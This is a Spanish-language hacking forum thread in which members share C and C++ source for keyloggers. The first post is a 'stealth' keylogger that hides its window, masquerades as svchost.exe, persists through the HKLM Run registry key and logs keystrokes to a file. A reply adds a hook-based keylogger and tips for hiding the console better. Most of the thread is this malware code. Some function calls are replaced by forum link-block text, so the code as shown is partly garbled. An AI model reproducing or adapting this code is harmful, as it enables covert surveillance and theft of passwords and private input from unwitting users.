comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Keylogger basico

  • 4 Respuestas
  • 3646 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado @ed33x

  • *
  • Underc0der
  • Mensajes: 107
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« en: Enero 22, 2011, 10:06:48 pm »
Código: C
  1. /* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
  2. *                                                                                  *
  3. *  File: SVCHOST.c                                                                 *
  4. *                                                                                  *
  5. *  Purpose: a stealth keylogger, writes to file "svchost.log"                      *
  6. *                                                                                  *      
  7. *  Usage: compile to svchost.exe, copy to c:\%windir%\ and run it.                 *
  8. *                                                                                  *
  9. *  Copyright (C) 2004 White Scorpion, www.white-scorpion.nl, all rights reserved   *
  10. *                                                                                  *
  11. *  This program is free software; you can redistribute it and/or                   *
  12. *  modify it under the terms of the GNU General Public License                     *
  13. *  as published by the Free Software Foundation; either version 2                  *
  14. *  of the License, or (at your option) any later version.                          *
  15. *                                                                                  *
  16. *  This program is distributed in the hope that it will be useful,                 *
  17. *  but WITHOUT ANY WARRANTY; without even the implied warranty of                  *
  18. *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the                   *
  19. *  GNU General Public License for more details.                                    *
  20. *                                                                                  *
  21. *  You should have received a copy of the GNU General Public License               *
  22. *  along with this program; if not, write to the Free Software                     *
  23. *  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.     *
  24. *                                                                                  *
  25. * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
  26.  
  27. #include <windows.h>
  28. #include <stdio.h>
  29. #include <winuser.h>
  30. #include <windowsx.h>
  31.  
  32. #define BUFSIZE 80
  33.  
  34. int test_key(void);
  35. int create_key(char *);
  36. int get_keys(void);
  37.  
  38.  
  39. int main(void)
  40. {
  41.     HWND stealth; /*creating stealth (window is not visible)*/
  42.     AllocConsole();
  43.     stealth=FindWindowA("ConsoleWindowClass",NULL);
  44.     ShowWindow(stealth,0);
  45.    
  46.     int test,create;
  47.     test=test_key();/*check if key is available for opening*/
  48.          
  49.     if (test==2)/*create key*/
  50.     {
  51.         char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
  52.         create=create_key(path);
  53.          
  54.     }
  55.        
  56.    
  57.     int t=get_keys();
  58.    
  59.     return t;
  60. }  
  61.  
  62. int get_keys(void)
  63. {
  64.             short character;
  65.               while(1)
  66.               {
  67.                      sleep(10);/*to prevent 100% cpu usage*/
  68.                      for(character=8;character<=222;character++)
  69.                      {
  70.                          if(GetAsyncKeyState(character)==-32767)
  71.                          {  
  72.                              
  73.                              FILE *file;
  74.                              file=No tienes permisos para ver links. Registrate o Entra con tu cuenta("svchost.log","a+");
  75.                              if(file==NULL)
  76.                              {
  77.                                      return 1;
  78.                              }            
  79.                              if(file!=NULL)
  80.                              {        
  81.                                      if((character>=39)&&(character<=64))
  82.                                      {
  83.                                            No tienes permisos para ver links. Registrate o Entra con tu cuenta(character,file);
  84.                                            No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  85.                                            break;
  86.                                      }        
  87.                                      else if((character>64)&&(character<91))
  88.                                      {
  89.                                            character+=32;
  90.                                            No tienes permisos para ver links. Registrate o Entra con tu cuenta(character,file);
  91.                                            No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  92.                                            break;
  93.                                      }
  94.                                      else
  95.                                      {
  96.                                          switch(character)
  97.                                          {
  98.                                                case VK_SPACE:
  99.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(' ',file);
  100.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  101.                                                break;    
  102.                                                case VK_SHIFT:
  103.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("[SHIFT]",file);
  104.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  105.                                                break;                                            
  106.                                                case VK_RETURN:
  107.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("\n[ENTER]",file);
  108.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  109.                                                break;
  110.                                                case VK_BACK:
  111.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("[BACKSPACE]",file);
  112.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  113.                                                break;
  114.                                                case VK_TAB:
  115.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("[TAB]",file);
  116.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  117.                                                break;
  118.                                                case VK_CONTROL:
  119.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("[CTRL]",file);
  120.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  121.                                                break;    
  122.                                                case VK_DELETE:
  123.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("[DEL]",file);
  124.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  125.                                                break;
  126.                                                case VK_OEM_1:
  127.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("[;:]",file);
  128.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  129.                                                break;
  130.                                                case VK_OEM_2:
  131.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("[/?]",file);
  132.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  133.                                                break;
  134.                                                case VK_OEM_3:
  135.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("[`~]",file);
  136.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  137.                                                break;
  138.                                                case VK_OEM_4:
  139.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("[ [{ ]",file);
  140.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  141.                                                break;
  142.                                                case VK_OEM_5:
  143.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("[\\|]",file);
  144.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  145.                                                break;                                
  146.                                                case VK_OEM_6:
  147.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("[ ]} ]",file);
  148.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  149.                                                break;
  150.                                                case VK_OEM_7:
  151.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("['\"]",file);
  152.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  153.                                                break;
  154.                                                /*case VK_OEM_PLUS:
  155.                                                fputc('+',file);
  156.                                                fclose(file);
  157.                                                break;
  158.                                                case VK_OEM_COMMA:
  159.                                                fputc(',',file);
  160.                                                fclose(file);
  161.                                                break;
  162.                                                case VK_OEM_MINUS:
  163.                                                fputc('-',file);
  164.                                                fclose(file);
  165.                                                break;
  166.                                                case VK_OEM_PERIOD:
  167.                                                fputc('.',file);
  168.                                                fclose(file);
  169.                                                break;*/
  170.                                                case VK_NUMPAD0:
  171.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta('0',file);
  172.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  173.                                                break;
  174.                                                case VK_NUMPAD1:
  175.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta('1',file);
  176.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  177.                                                break;
  178.                                                case VK_NUMPAD2:
  179.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta('2',file);
  180.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  181.                                                break;
  182.                                                case VK_NUMPAD3:
  183.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta('3',file);
  184.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  185.                                                break;
  186.                                                case VK_NUMPAD4:
  187.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta('4',file);
  188.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  189.                                                break;
  190.                                                case VK_NUMPAD5:
  191.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta('5',file);
  192.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  193.                                                break;
  194.                                                case VK_NUMPAD6:
  195.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta('6',file);
  196.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  197.                                                break;
  198.                                                case VK_NUMPAD7:
  199.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta('7',file);
  200.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  201.                                                break;
  202.                                                case VK_NUMPAD8:
  203.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta('8',file);
  204.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  205.                                                break;
  206.                                                case VK_NUMPAD9:
  207.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta('9',file);
  208.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  209.                                                break;
  210.                                                case VK_CAPITAL:
  211.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta("[CAPS LOCK]",file);
  212.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  213.                                                break;
  214.                                                default:
  215.                                                No tienes permisos para ver links. Registrate o Entra con tu cuenta(file);
  216.                                                break;
  217.                                         }        
  218.                                    }    
  219.                               }        
  220.                     }    
  221.                 }                  
  222.                      
  223.             }
  224.             return EXIT_SUCCESS;                            
  225. }                                                
  226.  
  227. int test_key(void)
  228. {
  229.     int check;
  230.     HKEY hKey;
  231.     char path[BUFSIZE];
  232.     DWORD buf_length=BUFSIZE;
  233.     int reg_key;
  234.    
  235.     reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
  236.     if(reg_key!=0)
  237.     {    
  238.         check=1;
  239.         return check;
  240.     }        
  241.            
  242.     reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);
  243.    
  244.     if((reg_key!=0)||(buf_length>BUFSIZE))
  245.         check=2;
  246.     if(reg_key==0)
  247.         check=0;
  248.          
  249.     RegCloseKey(hKey);
  250.     return check;  
  251. }
  252.    
  253. int create_key(char *path)
  254. {  
  255.         int reg_key,check;
  256.        
  257.         HKEY hkey;
  258.        
  259.         reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
  260.         if(reg_key==0)
  261.         {
  262.                 RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,No tienes permisos para ver links. Registrate o Entra con tu cuenta(path));
  263.                 check=0;
  264.                 return check;
  265.         }
  266.         if(reg_key!=0)
  267.                 check=1;
  268.                
  269.         return check;
  270. }
« Última modificación: Febrero 08, 2014, 06:10:02 pm por Expermicid »
Me cambie de messenger ahora es: edeex@live.comNo tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« Respuesta #1 en: Febrero 26, 2011, 04:18:01 pm »
Usa Hooks y no Getasynckeystate. Otro punto a mejorar es ocultar la consola, con showwindow se ve unos instantes, para que no se vea nada despues de compilar el exe cambia el subsystem con esto no se vera la consola la ocultes o no.

salu2!



EDIT: aqui te dejo un código de ejemplo de keylogger con hooks.

Código: C
  1. //http://www.daniweb.com/code/snippet217096.html#
  2. #define _WIN32_WINNT 0x0500
  3.  
  4. #include<fstream>
  5. #include<windows.h>
  6.  
  7. using namespace std;
  8.  
  9. ofstream out("keys.txt", ios::out);
  10.  
  11. LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
  12.         PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
  13.        
  14.         // If key is being pressed
  15.         if (wParam == WM_KEYDOWN) {
  16.                 switch (p->vkCode) {
  17.  
  18.                         // Invisible keys
  19.                         case VK_CAPITAL:        out << "<CAPLOCK>";             break;
  20.                         case VK_SHIFT:          out << "<SHIFT>";               break;
  21.                         case VK_LCONTROL:       out << "<LCTRL>";               break;
  22.                         case VK_RCONTROL:       out << "<RCTRL>";               break;
  23.                         case VK_INSERT:         out << "<INSERT>";              break;
  24.                         case VK_END:            out << "<END>";                 break;
  25.                         case VK_PRINT:          out << "<PRINT>";               break;
  26.                         case VK_DELETE:         out << "<DEL>";                 break;
  27.                         case VK_BACK:           out << "<BK>";                  break;
  28.  
  29.                         case VK_LEFT:           out << "<LEFT>";                break;
  30.                         case VK_RIGHT:          out << "<RIGHT>";               break;
  31.                         case VK_UP:                     out << "<UP>";                  break;
  32.                         case VK_DOWN:           out << "<DOWN>";                break;
  33.  
  34.                         // Visible keys
  35.                         default:
  36.                                 out << char(No tienes permisos para ver links. Registrate o Entra con tu cuenta(p->vkCode));
  37.  
  38.                 }
  39.         }
  40.  
  41.         return CallNextHookEx(NULL, nCode, wParam, lParam);
  42. }
  43.  
  44. int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
  45.  
  46.         // Set windows hook
  47.         HHOOK keyboardHook = SetWindowsHookEx(
  48.                 WH_KEYBOARD_LL,
  49.                 keyboardHookProc,
  50.                 hInstance,
  51.                 0);
  52.  
  53.         MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
  54.  
  55.         out.close();
  56.  
  57.         return 0;
  58. }

« Última modificación: Febrero 27, 2011, 05:41:19 pm por Drinky94 »

Desconectado Ahkbar

  • *
  • Underc0der
  • Mensajes: 31
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #2 en: Mayo 18, 2011, 11:55:02 am »
Bueno el key con hook, pocas lineas, tendrás por ahí uno para linux?

Saludos
No tienes permisos para ver links. Registrate o Entra con tu cuenta

Desconectado Juan

  • *
  • Underc0der
  • Mensajes: 159
  • Actividad:
    0%
  • Reputación 0
  • Ex-Drinky
    • Ver Perfil
« Respuesta #3 en: Mayo 18, 2011, 02:36:11 pm »
No tienes permisos para ver links. Registrate o Entra con tu cuenta
Bueno el key con hook, pocas lineas, tendrás por ahí uno para linux?

Saludos

Lo siento pero no... :-\ solo programo para windows.

salu2!

Desconectado Snifer

  • *
  • Underc0der
  • Mensajes: 1439
  • Actividad:
    0%
  • Reputación 1
  • Snifer@L4b's
    • Ver Perfil
    • Snifer@L4bs
  • Twitter: sniferl4bs
« Respuesta #4 en: Mayo 18, 2011, 02:39:02 pm »
Akbar hay un keyloger para linux..
No tienes permisos para ver links. Registrate o Entra con tu cuenta


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



 

¿Te gustó el post? COMPARTILO!



Detectar teclas presionadas por HOOKS (Keylogger base)

Iniciado por linkgl

Respuestas: 2
Vistas: 3243
Último mensaje Agosto 20, 2011, 12:28:05 pm
por linkgl
Keylogger C

Iniciado por mrobles

Respuestas: 4
Vistas: 2886
Último mensaje Junio 04, 2011, 05:22:04 am
por mrobles
Keylogger en C++

Iniciado por Jhonjhon_123

Respuestas: 1
Vistas: 5798
Último mensaje Mayo 26, 2011, 06:11:16 pm
por maximus